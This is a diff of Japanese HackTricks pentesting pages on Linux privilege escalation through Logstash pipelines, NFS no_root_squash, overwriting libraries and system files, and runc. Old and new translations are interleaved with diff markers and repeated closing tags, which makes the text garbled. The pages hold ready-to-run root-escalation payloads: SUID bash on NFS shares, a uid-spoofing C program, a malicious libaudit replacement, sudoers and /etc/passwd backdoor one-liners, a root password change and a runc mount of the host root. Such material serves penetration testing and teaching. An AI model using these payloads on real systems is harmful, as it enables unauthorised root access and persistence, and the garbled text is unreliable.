このファイルは、パイプライン構成を含む **.conf** ファイルがどこにあるかが明らかにされています。**Elasticsearch出力モジュール**を使用する際、**パイプライン** に **Elasticsearchの資格情報** を含めることが一般的であり、これらの資格情報はしばしば Logstash が Elasticsearch にデータを書き込む必要があるため、広範な権限を持っています。構成パス内のワイルドカードを使用することで、Logstash は指定されたディレクトリ内のすべての一致するパイプラインを実行できます。
このファイルは、パイプライン構成を含む **.conf** ファイルの場所を明らかにします。**Elasticsearch output module** を使用する際、**pipelines** には **Elasticsearch credentials** が含まれることが一般的で、これは Logstash が Elasticsearch にデータを書き込む必要があるため、しばしば広範な権限を持っています。構成パスのワイルドカードにより、Logstash は指定されたディレクトリ内のすべての一致するパイプラインを実行できます。
### 書き込み可能なパイプラインを通じた特権昇格
### 書き込み可能なパイプラインによる特権昇格
特権昇格を試みるには、まず Logstash サービスが実行されているユーザーを特定します。通常は **logstash** ユーザーです。次のいずれかの条件を満たしていることを確認してください:
特権昇格を試みるには、まず Logstash サービスが実行されているユーザー、通常は **logstash** ユーザーを特定します。次の **いずれか** の条件を満たしていることを確認してください:
- パイプライン **.conf** ファイル**書き込みアクセス権** がある **または**
- **/etc/logstash/pipelines.yml** ファイルがワイルドカードを使用しており、対象のフォルダに書き込むことができる
- パイプライン **.conf** ファイルへの **書き込みアクセス** を持っている **または**
- **/etc/logstash/pipelines.yml** ファイルがワイルドカードを使用しており、ターゲットフォルダーに書き込むことができる
さらに、次のいずれかの条件を満たしている必要があります:
さらに、次の **いずれか** の条件を満たす必要があります:
- Logstash サービスを再起動できる権限がある **または**
- Logstash サービスを再起動する能力 **または**
- **/etc/logstash/logstash.yml** ファイルに **config.reload.automatic: true** が設定されている
構成にワイルドカードがある場合、このワイルドカードに一致するファイルを作成することでコマンドを実行できます。例:
構成にワイルドカードがある場合、このワイルドカードに一致するファイルを作成することでコマンドを実行できます。例えば:
```bash
input {
exec {
@ -61,26 +66,30 @@ codec => rubydebug
}
}
```
ここでは、**interval** は実行頻度(秒単位)を決定します。与えられた例では、**whoami** コマンドが120秒ごとに実行され、その出力は **/tmp/output.log** に向けられます。
**/etc/logstash/logstash.yml** に **config.reload.automatic: true** があると、Logstash は新しいまたは変更されたパイプライン構成を自動的に検出して適用し、再起動を必要としません。ワイルドカードがない場合、既存の構成に変更を加えることはできますが、障害を回避するために注意が必要です。
ここで、**interval**は実行頻度を秒単位で決定します。与えられた例では、**whoami**コマンドが120秒ごとに実行され、その出力は**/tmp/output.log**に送られます。
**/etc/logstash/logstash.yml**に**config.reload.automatic: true**が設定されている場合、Logstashは再起動することなく新しいまたは変更されたパイプライン設定を自動的に検出して適用します。ワイルドカードがない場合でも、既存の設定に対して変更を加えることは可能ですが、中断を避けるために注意が必要です。
## 参考文献
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,31 +1,37 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
_ **/etc/exports** _ ファイルを読み取り、**no\_root\_squash** として構成されたディレクトリがある場合、それを**クライアントとしてアクセス**し、そのディレクトリ内に**ローカルのrootであるかのように書き込む**ことができます。
_ **/etc/exports** _ ファイルを読み、**no\_root\_squash**として設定されているディレクトリが見つかった場合、**クライアントとして**それに**アクセス**し、そのディレクトリの中に**ローカルの**マシンの**root**のように**書き込む**ことができます。
**no\_root\_squash**: このオプションは、クライアントのrootユーザーにNFSサーバー上のファイルにアクセスする権限を与えます。これには深刻なセキュリティ上の問題が発生する可能性があります。
**no\_root\_squash**: このオプションは基本的に、クライアントのrootユーザーにNFSサーバー上のファイルにrootとしてアクセスする権限を与えます。これにより、深刻なセキュリティ上の問題が生じる可能性があります。
**no\_all\_squash:** これは**no\_root\_squash** オプションにていますが、**非rootユーザー**に適用されます。例えば、nobodyユーザーとしてシェルを持っているとします。/etc/exportsファイルを確認し、no\_all\_squashオプションが存在することを確認し、/etc/passwdファイルを確認し、非rootユーザーをエミュレートし、そのユーザーとしてsuidファイルを作成しますnfsを使用してマウントnobodyユーザーとしてsuidを実行し、異なるユーザーになります。
**no\_all\_squash:** これは**no\_root\_squash**オプションに似ていますが、**非rootユーザー**に適用されます。例えば、nobodyユーザーとしてシェルを持ち、/etc/exportsファイルを確認し、no\_all\_squashオプションが存在し、/etc/passwdファイルを確認し、非rootユーザーをエミュレートし、そのユーザーとしてsuidファイルを作成nfsを使用してマウントします。その後、nobodyユーザーとしてsuidを実行し、異なるユーザーになります。
# 特権昇格
# Privilege Escalation
## リモートエクスプロイト
## Remote Exploit
この脆弱性を見つけた場合、次のように悪用できます:
* クライアントマシンでそのディレクトリを**マウント**し、マウントされたフォルダ内に **/bin/bash** バイナリを**rootとしてコピー**し、それに **SUID権限**を与え、被害者のマシンからそのbashバイナリを実行します。
* **そのディレクトリを**クライアントマシンに**マウントし、rootとして**マウントされたフォルダ内に**/bin/bash**バイナリをコピーし、**SUID**権限を与え、**被害者**マシンからそのbashバイナリを実行します。
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -38,7 +44,7 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
* **クライアントマシンでそのディレクトリをマウント**し、**ルートとして**マウントされたフォルダーに、SUID権限を悪用するコンパイル済みのペイロードをコピーし、それにSUID権限を与え、**被害者のマシンから**そのバイナリを実行します(ここにいくつかの[C SUID payloads](payloads-to-execute.md#c)があります)。
* **クライアントマシンでそのディレクトリをマウントし、** マウントされたフォルダ内に **rootとして** SUID権限を悪用するコンパイル済みペイロードをコピーし、それに **SUID** 権限を与え、**被害者** マシンからそのバイナリを **実行** します(ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります)。
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -52,20 +58,20 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## ローカルエクスプロイト
## Local Exploit
{% hint style="info" %}
自分のマシンから被害者のマシンへのトンネルを作成できる場合、引き続き必要なポートをトンネリングすることで、この特権昇格を悪用するリモートバージョンを使用できます。\
次のトリックは、`/etc/exports` ファイルがIPを示している場合です。この場合、リモートエクスプロイトを使用することはできず、このトリックを悪用する必要があります。\
エクスプロイトが機能するための別の必須要件は、`/etc/export` 内のエクスポートが `insecure` フラグを使用している必要があることです。\
\--_もし `/etc/export` がIPアドレスを示している場合、このトリックが機能するかどうかはわかりません_--
注意してください、もしあなたが**あなたのマシンから被害者のマシンへのトンネルを作成できるなら、必要なポートをトンネリングしてこの特権昇格を悪用するためにリモートバージョンを使用することができます**。\
次のトリックは、ファイル`/etc/exports`が**IPを示している場合**です。この場合、**リモートエクスプロイトを使用することはできず****このトリックを悪用する必要があります**。\
エクスプロイトが機能するためのもう一つの必要条件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用していること**です。\
\--_もし`/etc/export`がIPアドレスを示している場合、このトリックが機能するかどうかはわかりません_--
{% endhint %}
## 基本情報
## Basic Information
シナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、NFSv3仕様の欠陥を利用してクライアントがuid/gidを指定できるようにし、不正アクセスを可能にします。エクスプロイトには、NFS RPC呼び出しの偽造を可能にするライブラリである[libnfs](https://github.com/sahlberg/libnfs)を使用します。
このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントが自分のuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。
### ライブラリのコンパイル
### Compiling the Library
ライブラリのコンパイル手順は、カーネルバージョンに基づいて調整が必要な場合があります。この特定のケースでは、fallocateシステムコールがコメントアウトされていました。コンパイルプロセスには、次のコマンドが含まれます
```bash
@ -76,7 +82,7 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
```
### 攻撃の実行
攻撃には、特権をrootに昇格させ、シェルを実行する単純なCプログラム`pwn.c`)を作成することが含まれます。プログラムをコンパイルし、生成されたバイナリ(`a.out`を、RPC呼び出しでuidを偽装するためにsuid rootで共有に配置します。
この攻撃は、特権をルートに昇格させ、シェルを実行するシンプルなCプログラム`pwn.c`)を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ(`a.out`は、RPC呼び出しでuidを偽装するために`ld_nfs.so`を使用して、suid rootで共有に配置されます。
1. **攻撃コードをコンパイルする:**
```bash
@ -85,7 +91,7 @@ int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **攻撃を共有に配置し、uidを偽装してアクセス権を変更する:**
2. **攻撃を共有に配置し、uidを偽装してその権限を変更する:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
@ -93,14 +99,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **root権限を取得するために攻撃を実行する:**
3. **攻撃を実行してルート権限を取得する:**
```bash
/mnt/share/a.out
#root
```
## ボーナス: ステルスファイルアクセスのためのNFShell
rootアクセスを取得した後、所有権を変更せずにNFS共有とやり取りするために痕跡を残さないよう、Pythonスクリプトnfsh.pyが使用されます。このスクリプトは、アクセスされるファイルのuidを調整し、許可の問題なく共有内のファイルとやり取りできるようにします。
## ボーナス: NFShellによるステルスファイルアクセス
ルートアクセスを取得した後、所有権を変更せずにNFS共有と対話するために痕跡を残さないため、Pythonスクリプトnfsh.pyが使用されます。このスクリプトは、アクセスされるファイルのuidに一致するようにuidを調整し、権限の問題なしに共有上のファイルと対話できるようにします:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -119,25 +125,32 @@ uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
実行方法:
実行するには:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
## 参考文献
* [https://www.errno.fr/nfs_privesc.html](https://www.errno.fr/nfs_privesc.html)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 実行ペイロード
# 実行するペイロード
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## Bash
```bash
@ -54,18 +57,18 @@ execve(paramList[0], paramList, NULL);
return 0;
}
```
## 権昇格のためのファイル上書き
## 権昇格のためのファイル上書き
### 一般的なファイル
* パスワード付きユーザーを _/etc/passwd_ に追加
* _/etc/passwd_パスワード付きのユーザーを追加
* _/etc/shadow_ 内のパスワードを変更
* _/etc/sudoers_ にユーザーを追加
* 通常 _/run/docker.sock_ _/var/run/docker.sock_ にある docker ソケットを悪用
* 通常 _/run/docker.sock_ または _/var/run/docker.sock_ にあるdockerソケットを通じてdockerを悪用
### ライブラリの上書き
いくつかのバイナリで使用されているライブラリをチェックします。この場合は `/bin/su` を使用します:
この場合、バイナリによって使用されるライブラリを確認します:`/bin/su`:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
@ -77,8 +80,8 @@ libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
この場合は、`/lib/x86_64-linux-gnu/libaudit.so.1` を偽装しようとしています。\
したがって、**`su`** バイナリで使用されているこのライブラリの関数をチェックします:
この場合、`/lib/x86_64-linux-gnu/libaudit.so.1`を偽装してみましょう。\
したがって、**`su`**バイナリで使用されるこのライブラリの関数を確認します:
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
@ -86,7 +89,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
次のシンボル `audit_open`、`audit_log_acct_message`、`audit_log_acct_message`、および `audit_fd` はおそらく libaudit.so.1 ライブラリから来ています。libaudit.so.1 は悪意のある共有ライブラリによって上書きされるため、これらのシンボルは新しい共有ライブラリに存在する必要があります。さもないと、プログラムはシンボルを見つけることができずに終了します。
シンボル `audit_open`、`audit_log_acct_message`、`audit_log_acct_message` および `audit_fd` は、おそらく libaudit.so.1 ライブラリからのものです。libaudit.so.1 は悪意のある共有ライブラリによって上書きされるため、これらのシンボルは新しい共有ライブラリに存在する必要があります。そうでなければ、プログラムはシンボルを見つけることができず、終了します。
```c
#include<stdio.h>
#include<stdlib.h>
@ -108,7 +111,7 @@ setgid(0);
system("/bin/bash");
}
```
今、単に**`/bin/su`**を呼び出すだけで、rootとしてシェルを取得できます。
今、単に **`/bin/su`** を呼び出すことで、rootとしてシェルを取得できます。
## スクリプト
@ -122,18 +125,21 @@ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers
```bash
echo "root:hacked" | chpasswd
```
### /etc/passwd に新しい root ユーザーを追加
### /etc/passwd に新しい root ユーザーを追加する
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# RunC 権限昇格
# RunC特権昇格
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
{% endhint %}
{% endhint %}
## 基本情報
**runc**についてもっと学びたい場合は、以下のページをご覧ください:
**runc**についてもっと学びたい場合は、以下のページを確認してください:
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
@ -24,7 +27,7 @@ HackTricksをサポートする他の方法:
## PE
ホストに`runc`がインストールされていることがわかった場合、**ホストのルート/フォルダをマウントするコンテナを実行できる**可能性があります
ホストに`runc`がインストールされている場合、**ホストのルート/フォルダーをマウントしたコンテナを実行できる可能性があります**
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
@ -49,19 +52,22 @@ mkdir rootfs
runc run demo
```
{% hint style="danger" %}
これは常に機能するわけではありません。runcのデフォルトの操作はrootとして実行することなので、特権のないユーザーとして実行することは単純に機能しませんrootless構成を持っている場合を除く。rootless構成をデフォルトにすることは一般的に良い考えではありません。なぜなら、rootlessコンテナ内にはrootlessコンテナの外には適用されない多くの制限があるからです。
{% endhint %}
これは常に機能するわけではありません。なぜなら、runcのデフォルトの動作はrootとして実行することであり、特権のないユーザーとして実行することは単純に機能しないからですルートレス構成がない限り。ルートレス構成をデフォルトにすることは一般的には良いアイデアではありません。なぜなら、ルートレスコンテナ内には、ルートレスコンテナの外には適用されないいくつかの制限があるからです。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
